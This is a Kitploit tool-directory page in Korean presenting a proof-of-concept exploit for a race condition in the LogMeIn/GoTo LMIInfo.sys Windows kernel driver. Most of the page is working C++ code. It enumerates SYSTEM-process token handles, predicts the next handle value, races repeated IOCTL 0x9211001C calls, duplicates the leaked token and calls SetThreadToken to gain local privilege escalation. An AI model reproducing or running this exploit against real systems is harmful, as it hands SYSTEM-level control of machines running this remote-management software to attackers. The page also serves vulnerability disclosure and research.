Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
LogMeInPoCHandleDup — LogMeIn/GoTo Windows 커널 드라이버의 경쟁 조건(race condition)을 악용하여 SYSTEM 핸들을 복제하고, 스레드 토큰 가장(thread-token impersonation) 및 로컬 권한 상승을 가능하게 하는 익스플로잇입니다. | Kitploit
도구/GitHubGitHub/alfarom256/logmeinpochandledup
Privilege EscalationVulnerability AnalysisExploitationReverse EngineeringBinary Exploitation
GitHubalfarom256/logmeinpochandledup

LogMeInPoCHandleDup

LogMeIn/GoTo Windows 커널 드라이버의 경쟁 조건(race condition)을 악용하여 SYSTEM 핸들을 복제하고, 스레드 토큰 가장(thread-token impersonation) 및 로컬 권한 상승을 가능하게 하는 익스플로잇입니다.

저장소 보기
6472년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

LogMeIn / GoTo LMIInfo.sys 핸들 복제

요약

LogMeIn / GoTo RMM에서 제공하는 LMIInfo.sys 드라이버에는 SYSTEM 프로세스에서 임의의 핸들을 복제할 수 있는 경쟁 조건(race condition)이 존재합니다. 핵심 문제는 디바이스 개체에 대한 적절한 액세스 제어가 부족하고, 시스템 프로세스에서 사용자가 지정한 핸들을 복제하도록 한 명백히 잘못된 결정에 있습니다.

세부 정보

IOCTL: 0x9211001C

입력 버퍼:

root@kitploit:~
// LMI-Common.cpp
typedef struct LMI_INFO {
	DWORD64 qwPid;
	DWORD64 reserved0;
	DWORD64 handleValue;
	DWORD64 reserved1;
} LMI_INFO, * PLMI_INFO;

디스패치:

Dispatch table

취약 함수:

Vulnerable function

핸들 정보를 수집하고 문자열 처리를 수행할 때, ZwDuplicateObject/ZwClose 호출 사이에 호출 프로세스가 중복된 핸들을 다시 복제할 수 있습니다. 올바르게 수행되면 기본 복제 핸들이 닫힌 후에도 2차 복제 핸들이 유지됩니다.

버그를 안정적으로 트리거하려면 경쟁 조건을 유발하기 전에 프로세스에서 사용하는 모든 핸들을 만들어야 합니다. 대상 핸들은 다음 함수를 사용하여 시스템 프로세스에서 쿼리됩니다(예시로 스레드 토큰 사용):

root@kitploit:~
// LMI-Common.cpp
HANDLE FindSystemPidFirstToken()
{
	HANDLE hHeap = GetProcessHeap();
	LPVOID lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20000);
	if (!lpBuf) {
		printf("HeapAlloc - %d\n", GetLastError());
		return INVALID_HANDLE_VALUE;
	}
	ULONG ulBytesReturned = 0;
	NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, 0x20000, &ulBytesReturned);

	while (status == 0xC0000004) {
		HeapFree(hHeap, 0, lpBuf);
		lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, ulBytesReturned + 0x1000);
		if (!lpBuf) {
			printf("HeapAlloc - %d\n", GetLastError());
			return INVALID_HANDLE_VALUE;
		}
		status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, ulBytesReturned + 0x1000, &ulBytesReturned);
	}


	if (status) {
		printf("Query for handles failed - %lx\n", status);
		return INVALID_HANDLE_VALUE;
	}

	PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)lpBuf;

	for (unsigned int i = 0; i < pSysHandleInfo->NumberOfHandles; i++) {
		SYSTEM_HANDLE_TABLE_ENTRY_INFO shtei = pSysHandleInfo->Handles[i];
		if (shtei.UniqueProcessId != 4) {
			continue;
		}
		printf("HANDLE:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
		if (shtei.ObjectTypeIndex == OBJECT_TYPE_THREAD_TOKEN && shtei.GrantedAccess == THREAD_TOKEN_IMPERSONATE_PRIVILEGES) {
			printf("Found handle to token:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
			return (HANDLE)shtei.HandleValue;
		}
	}

	return INVALID_HANDLE_VALUE;
}

HANDLE 값이 4씩 증가하므로, HANDLE 개수를 구한 뒤 4를 더하여 기본 복제 핸들의 값을 계산합니다. 이에 따라 장치를 열고, 다음 핸들 값을 계산하기 전에 "경쟁" 스레드를 일시 중단된 상태로 만듭니다. 이 작업은 더 안정적이고 "정교한" 방식으로 수행할 수 있을 텐데, 아마 더 능숙한 독자의 연습 문제로 남겨둡니다 ㅋㅋ.

root@kitploit:~
// LMI-Common.cpp
HANDLE FindNextCreatedHandle() {
	HANDLE highestHandle = 0;
	UINT32 u32NumHandles = 0;
	ULONG ulSizeReturned = 0;
	NTSTATUS status = 0;
	status = NtQueryInformationProcess((HANDLE)-1, (PROCESSINFOCLASS)ProcessHandleCount, &u32NumHandles, sizeof(UINT32), &ulSizeReturned);
	if (!NT_SUCCESS(status)) {
		return (HANDLE)-1;
	}

	return (HANDLE)((UINT64)++u32NumHandles * 4);
}

완료되면 경쟁 스레드가 재개되고 반복적인 IOCTL이 발행됩니다:

root@kitploit:~
// LMI-Common.cpp
NTSTATUS DupeThread(LPVOID lpParam) {
	puts("Entered DupeThread");
	if (!lpParam || lpParam == INVALID_HANDLE_VALUE) {
		printf("Invalid device handle passed to thread : %lx\n", GetLastError());
		return -1;
	}

	PDUPE_THREAD_INFO Dti = (PDUPE_THREAD_INFO)lpParam;

	DWORD dwBytesReturned = 0;
	LMI_INFO lmii = { 0 };
	lmii.qwPid = 4;
	lmii.handleValue = (UINT64)FindSystemPidFirstToken(); // yes, I know

	if ((HANDLE)lmii.handleValue == INVALID_HANDLE_VALUE) {
		puts("Couldn't find a token handle in the system process??");
	}

	BOOL bRes = FALSE;
	LPVOID lpOutBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000);

	if (!lpOutBuf) {
		printf("HeapAlloc : %lx\n", GetLastError());
		return -1;
	}

	while (Dti->Run) {
		// call DeviceIoControl to start the race
		bRes = DeviceIoControl(
			Dti->hDevice,
			IOCTL_DUPE_LEL,
			&lmii,
			sizeof(LMI_INFO),
			lpOutBuf,
			0x1000,
			&dwBytesReturned,
			NULL
		);
	}	
}

경쟁 스레드의 설계 고려 사항은 다음과 같은 이유 때문입니다:

  • 저는 경쟁 조건 악용을 잘 못합니다

메인 스레드는 복제가 성공할 때까지 DuplicateHandle을 반복 호출하여 기본 복제 핸들을 복제하고, 전역 부울 값이 false로 설정되어 경쟁 스레드를 종료합니다. (네, 네 저도 압니다.)

root@kitploit:~
// Source.cpp
HANDLE hTarget = FindNextCreatedHandle();
hTarget = (HANDLE)((UINT64)hTarget + 4);

puts("Resuming dupe thread");
dwSuspendCount = ResumeThread(hDupeThread);
if (dwSuspendCount == -1) {
    printf("Error resuming dupe thread - %lx\n", GetLastError());
    return -1;
}

while (!bRes) {
    bRes = DuplicateHandle(g_hCurrentProc, hTarget, g_hCurrentProc, &hToken, NULL, FALSE, DUPLICATE_SAME_ACCESS);
}

dti.Run = FALSE;

if (bRes) {
    puts("ebin");
    printf("%llx - target\n", hTarget);
    printf("%llx - dup\n", hToken);
    bRes = SetThreadToken(NULL, hToken);
    if (!bRes) {
        printf("Failed to SetThreadToken - %x\nExploitation failed!", GetLastError());
    }
    else {
        puts("Set the thread token!");
    }
}
else {
    printf("Failed to dupe token: %lx\n", GetLastError());
    return -1;
}

getchar();
return 0;

비디오

도구 다운로드